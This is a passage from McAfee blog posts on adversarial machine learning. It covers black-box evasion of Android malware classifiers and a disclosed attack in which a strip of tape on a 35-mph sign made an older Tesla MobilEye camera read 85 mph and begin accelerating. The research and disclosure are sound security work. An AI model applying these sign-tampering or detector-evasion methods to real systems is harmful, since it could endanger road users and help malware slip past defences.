In 2016, Papernot[5] demonstrated that an attacker doesn’t need to know the exact model that is utilized in detecting malware.  Demonstrating this theory of transferability in Figure 5, the attacker constructed a source (or substitute) model of a K-Nearest Neighbor (KNN) algorithm, creating adversarial examples, which targeted a Support Vector Machine (SVM) algorithm.  It resulted in an 82.16% success rate, ultimately proving that substitution and transferability of one model to another allows black-box attacks to be, not only possible, but highly successful.

Figure 5. Papernot’s 5 successful transferability of adversarial examples created from one model (K Nearest Neighbor or KNN) to attack another model (Support Vector Machine or SVM).

 

In a black-box attack, the DREBIN Android malware dataset was detected 92% as malware.  However, using a substitute model and transferring the adversarial examples to the victim (i.e., source) system, we were able to reduce the detection of the malware to nearly zero.  Another catastrophic example!

Figure 6. Demonstration of a black-box attack of DREBIN malware.
  1. Physical Attack of Traffic Signs

While malware represents the most common artifact deployed by cybercriminals to attack victims, numerous other targets exist that pose equal or perhaps even greater threats. Over the last 18 months, we have studied what has increasingly become an industry research trend: digital and physical attacks on traffic signs. Research in this area dates back several years and has since been replicated and enhanced in numerous publications. We initially set out to reproduce one of the original papers on the topic, and built a highly robust classifier, using an RGB (Red Green Blue) webcam to classify stop signs from the LISA[6] traffic sign data set. The model performed exceptionally well, handling lighting, viewing angles, and sign obstruction. Over a period of several months, we developed model hacking code to cause both untargeted and targeted attacks on the sign, in both the digital and physical realms. Following on this success, we extended the attack vector to speed limit signs, recognizing that modern vehicles increasingly implement camera-based speed limit sign detection, not just as input to the Heads-Up-Display (HUD) on the vehicle, but in some cases, as input to the actual driving policy of the vehicle. Ultimately, we discovered that minuscule modifications to speed limit signs could allow an attacker to influence the autonomous driving features of the vehicle, controlling the speed of the adaptive cruise control! For more detail on this research, please refer to our extensive blog post on the topic.

  1. Detecting and Protecting Against Model Hacking

The good news is that much like classic software vulnerabilities, model hacking is possible to defend against, and the industry is taking advantage of this rare opportunity to address the threat before it becomes of real value to the adversary. Detecting and protecting against model hacking continues to develop with many articles published weekly.

Detection methods include ensuring that all software patches have been installed, closely monitoring drift of False Positives and False Negatives, noting cause and effect of having to change thresholds, retraining frequently, and auditing decay in the field (i.e., model reliability).  Explainable AI (“XAI”) is being examined in the research field for answering “why did this NN make the decision it did?” but can also be applied to small changes in prioritized features to assess potential model hacking.  In addition, human-machine teaming is critical to ensure that machines are not working autonomously and have oversight from humans-in-the-loop.  Machines currently do not understand context; however, humans do and can consider all possible root causes and mitigations of a nearly imperceptible shift in metrics.

Protection methods commonly employed include many analytic solutions: Feature Squeezing and Reduction, Distillation, adding noise, Multiple Classifier System, Reject on Negative Impact (RONI), and many others, including combinatorial solutions.  There are pros and cons of each method, and the reader is encouraged to consider their specific ecosystem and security metrics to select the appropriate method.

  1. Model Hacking Threats and Ongoing Research

While there has been no documented report of model hacking in the wild yet, it is notable to see the increase of research over the past few years: from less than 50 literature articles in 2014 to over 1500 in 2020.  And it would be ignorant of us to assume that sophisticated hackers aren’t reading this literature.  It is also notable that, perhaps for the first time in cybersecurity, a body of researchers have proactively developed the attack, detection, and protection against these unique vulnerabilities.

We will continue to add to the greater body of knowledge of model hacking attacks as well as ensure the solutions we implement have built-in detection and protection.  Our research excels in targeting the latest algorithms, such as GANS (Generative Adversarial Networks) in malware detection, facial recognition, and image libraries.  We are also in process of transferring traffic sign model hacking to further real-world examples.

Lastly, we believe McAfee leads the security industry in this critical area. One aspect that sets McAfee apart is the unique relationship and cross-team collaboration between ATR and AAT. Each leverages its unique skillsets; ATR with in-depth and leading-edge security research capabilities, and AAT, through its world-class data analytics and artificial intelligence expertise. When combined, these teams are able to do something few can; predict, research, analyze and defend against threats in an emerging attack vector with unique components, before malicious actors have even begun to understand or weaponize the threat.

For further reading, please see any of the references cited, or “Introduction to Adversarial Machine Learning” at https://mascherari.press/introduction-to-adversarial-machine-learning/

 

 

[1] Courtesy of Technische Universitat Braunschweig.

[2] Grosse, Kathrin, Nicolas Papernot, et al. ”Adversarial Perturbations Against Deep Neural Networks for Malware Classification” Cornell University Library. 16 Jun 2016.

[3] Cleverhans: An adversarial example library for constructing attacks, building defenses, and benchmarking both located at https://github.com/tensorflow/cleverhans.

[4] Goodfellow, Ian, et al. “Generative Adversarial Nets” https://papers.nips.cc/paper/5423-generative-adversarial-nets.pdf.

[5] Papernot, Nicholas, et al. “Transferability in Machine Learning: from Phenomena to Black-Box Attacks using Adversarial Samples”  https://arxiv.org/abs/1605.07277.

[6] LISA = Laboratory for Intelligent and Safe Automobiles

The post Introduction and Application of Model Hacking appeared first on McAfee Blog.

Model Hacking ADAS to Pave Safer Roads for Autonomous Vehicles

19 February 2020 at 09:01

The last several years have been fascinating for those of us who have been eagerly observing the steady move towards autonomous driving. While semi-autonomous vehicles have existed for many years, the vision of fleets of fully autonomous vehicles operating as a single connected entity is very much still a thing of the future. However, the latest technical advances in this area bring us a unique and compelling picture of some of the capabilities we might expect to see “down the road.” Pun intended.

For example, nearly every new vehicle produced in 2019 has a model which implements state-of-the art sensors that utilize analytics technologies, such as machine learning or artificial intelligence, and are designed to automate, assist or replace many of the functions humans were formerly responsible for. These can range from rain-sensors on the windshield to control wiper blades, to object detection sensors using radar and lidar for collision avoidance, to camera systems capable of recognizing objects in range and providing direct driving input to the vehicle.

This broad adoption represents a fascinating development in our industry; it’s one of those very rare times when researchers can lead the curve ahead of adversaries in identifying weaknesses in underlying systems.

McAfee Advanced Threat Research (ATR) has a specific goal: identify and illuminate a broad spectrum of threats in today’s complex landscape. With model hacking, the study of how adversaries could target and evade artificial intelligence, we have an incredible opportunity to influence the awareness, understanding and development of more secure technologies before they are implemented in a way that has real value to the adversary.

With this in mind, we decided to focus our efforts on the broadly deployed MobilEye camera system, today utilized across over 40 million vehicles, including Tesla models that implement Hardware Pack 1.

18 Months of Research

McAfee Advanced Threat Research follows a responsible disclosure policy, as stated on our website. As such, we disclosed the findings below to both Tesla and MobilEye 90 days prior to public disclosure. McAfee disclosed the findings to Tesla on September 27th, 2019 and MobilEye on October 3rd, 2019. Both vendors indicated interest and were grateful for the research but have not expressed any current plans to address the issue on the existing platform. MobilEye did indicate that the more recent version(s) of the camera system address these use cases.

MobilEye is one of the leading vendors of Advanced Driver Assist Systems (ADAS) catering to some of the world’s most advanced automotive companies. Tesla, on the other hand, is a name synonymous with ground-breaking innovation, providing the world with the innovative and eco-friendly smart cars.

 

MobilEye camera sensor
A table showing MobilEye’s EyeQ3 being used in Tesla’s hardware pack 1.

As we briefly mention above, McAfee Advanced Threat Research has been studying what we call “Model Hacking,” also known in the industry as adversarial machine learning. Model Hacking is the concept of exploiting weaknesses universally present in machine learning algorithms to achieve adverse results. We do this to identify the upcoming problems in an industry that is evolving technology at a pace that security has not kept up with.

We started our journey into the world of model hacking by replicating industry papers on methods of attacking machine learning image classifier systems used in autonomous vehicles, with a focus on causing misclassifications of traffic signs. We were able to reproduce and significantly expand upon previous research focused on stop signs, including both targeted attacks, which aim for a specific misclassification, as well as untargeted attacks, which don’t prescribe what an image is misclassified as, just that it is misclassified. Ultimately, we were successful in creating extremely efficient digital attacks which could cause misclassifications of a highly robust classifier, built to determine with high precision and accuracy what it is looking at, approaching 100% confidence.

Targeted digital white-box attack on stop sign, causing custom traffic sign classifier to misclassify as 35-mph speed sign

We further expanded our efforts to create physical stickers, shown below, that model the same type of perturbations, or digital changes to the original photo, which trigger weaknesses in the classifier and cause it to misclassify the target image.

Targeted physical white-box attack on stop sign, causing custom traffic sign classifier to misclassify the stop sign as an added lane sign

This set of stickers has been specifically created with the right combination of color, size and location on the target sign to cause a robust webcam-based image classifier to think it is looking at an “Added Lane” sign instead of a stop sign.

Video demo of our resilient classifier in the lab which correctly recognizes the 35-mph speed limit sign, even when it is partially obstructed

In reality, modern vehicles don’t yet rely on stop signs to enable any kind of autonomous features such as applying the brakes, so we decided to alter our approach and shift (pun intended) over to speed limit signs. We knew, for example, that the MobilEye camera is used by some vehicles to determine the speed limit, display it on the heads-up display (HUD), and potentially even feed that speed limit to certain features of the car related to autonomous driving. We’ll come back to that!

We then repeated the stop sign experiments on traffic signs, using a highly robust classifier, and our trusty high-resolution webcam. And just to show how robust our classifier is, we can make many changes to the sign— block it partially, place the stickers in random locations — and the classifier does an outstanding job of correctly predicting the true sign, as demonstrated in the video above. While there were many obstacles to achieving the same success, we were ultimately able to prove both targeted and untargeted attacks, digitally and physically, against speed limit signs. The below images highlight a few of those tests.

Example of targeted digital perturbations printed out using a black and white printer which cause a misclassification of 35-mph speed sign to 45-mph speed sign.

At this point, you might be wondering “what’s so special about tricking a webcam into misclassifying a speed limit sign, outside of just the cool factor?” Not much, really. We felt the same, and decided it was time to test the “black box theory.”

What this means, in its most simple form, is attacks leveraging model hacking which are trained and executed against white box, also known as open source systems, will successfully transfer to black box, or fully closed and proprietary systems, so long as the features and properties of the attack are similar enough. For example, if one system is relying on the specific numeric values of the pixels of an image to classify it, the attack should replicate on another camera system that relies on pixel-based features as well.

The last part of our lab-based testing involved simplifying this attack and applying it to a real-world target. We wondered if the MobilEye camera was as robust as the webcam-based classifier we built in the lab? Would it truly require several highly specific, and easily noticeable stickers to cause a misclassification? Thanks to several friendly office employees, we were able to run repeated tests on a 2016 Model “S” and 2016 Model “X” Tesla using the MobilEye camera (Tesla’s hardware pack 1 with EyeQ3 mobilEye chip). The first test involved simply attempting to recreate the physical sticker test – and, it worked, almost immediately and with a high rate of reproducibility.

In our lab tests, we had developed attacks that were resistant to change in angle, lighting and even reflectivity, knowing this would emulate real-world conditions. While these weren’t perfect, our results were relatively consistent in getting the MobilEye camera to think it was looking at a different speed limit sign than it was. The next step in our testing was to reduce the number of stickers to determine at which point they failed to cause a misclassification. As we began, we realized that the HUD continued to misclassify the speed limit sign. We continued reducing stickers from 4 adversarial stickers in the only locations possible to confuse our webcam, all the way down to a single piece of black electrical tape, approximately 2 inches long, and extending the middle of the 3 on the traffic sign.

A robust, inconspicuous black sticker achieves a misclassification from the Tesla model S, used for Speed Assist when activating TACC (Traffic Aware Cruise Control)

Even to a trained eye, this hardly looks suspicious or malicious, and many who saw it didn’t realize the sign had been altered at all. This tiny piece of sticker was all it took to make the MobilEye camera’s top prediction for the sign to be 85 mph.

 

The finish line was close (last pun…probably).

Finally, we began to investigate whether any of the features of the camera sensor might directly affect any of the mechanical, and even more relevant, autonomous features of the car. After extensive study, we came across a forum referencing the fact that a feature known as Tesla Automatic Cruise Control (TACC) could use speed limit signs as input to set the vehicle speed.

There was majority of consensus among owners that this might be a supported feature. It was clear that there was also confusion among forum members as to whether this capability was possible, so our next step was to verify by consulting Tesla software updates and new feature releases.

A software release for TACC contained just enough information to point us towards speed assist, with the following statement, under the Tesla Automatic Cruise Control feature description.

“You can now immediately adjust your set speed to the speed determined by Speed Assist.”

This took us down our final documentation-searching rabbit hole; Speed Assist, a feature quietly rolled out by Tesla in 2014.

Finally! We can now add these all up to surmise that it might be possible, for Tesla models enabled with Speed Assist (SA) and Tesla Automatic Cruise Control (TACC), to use our simple modification to a traffic sign to cause the car to increase speed on its own!

Despite being confident this was theoretically possible, we decided to simply run some tests to see for ourselves.

McAfee ATR’s lead researcher on the project, Shivangee Trivedi, partnered with another of our vulnerability researchers Mark Bereza, who just so happened to own a Tesla that exhibited all these features. Thanks Mark!

For an exhaustive look at the number of tests, conditions, and equipment used to replicate and verify misclassification on this target, we have published our test matrix here.

The ultimate finding here is that we were able to achieve the original goal. By making a tiny sticker-based modification to our speed limit sign, we were able to cause a targeted misclassification of the MobilEye camera on a Tesla and use it to cause the vehicle to autonomously speed up to 85 mph when reading a 35-mph sign. For safety reasons, the video demonstration shows the speed start to spike and TACC accelerate on its way to 85, but given our test conditions, we apply the brakes well before it reaches target speed. It is worth noting that this is seemingly only possible on the first implementation of TACC when the driver double taps the lever, engaging TACC. If the misclassification is successful, the autopilot engages 100% of the time. This quick demo video shows all these concepts coming together.

Of note is that all these findings were tested against earlier versions (Tesla hardware pack 1, mobilEye version EyeQ3) of the MobilEye camera platform. We did get access to a 2020 vehicle implementing the latest version of the MobilEye camera and were pleased to see it did not appear to be susceptible to this attack vector or misclassification, though our testing was very limited. We’re thrilled to see that MobilEye appears to have embraced the community of researchers working to solve this issue and are working to improve the resilience of their product. Still, it will be quite some time before the latest MobilEye camera platform is widely deployed. The vulnerable version of the camera continues to account for a sizeable installation base among Tesla vehicles. The newest models of Tesla vehicles do not implement MobilEye technology any longer, and do not currently appear to support traffic sign recognition at all.

Looking Forward

We feel it is important to close this blog with a reality check. Is there a feasible scenario where an adversary could leverage this type of an attack to cause harm? Yes, but in reality, this work is highly academic at this time. Still, it represents some of the most important work we as an industry can focus on to get ahead of the problem. If vendors and researchers can work together to identify and solve these problems in advance, it would truly be an incredible win for us all. We’ll leave you with this:

In order to drive success in this key industry and shift the perception that machine learning systems are secure, we need to accelerate discussions and awareness of the problems and steer the direction and development of next-generation technologies. Puns intended.

 

The post Model Hacking ADAS to Pave Safer Roads for Autonomous Vehicles appeared first on McAfee Blog.

❌
❌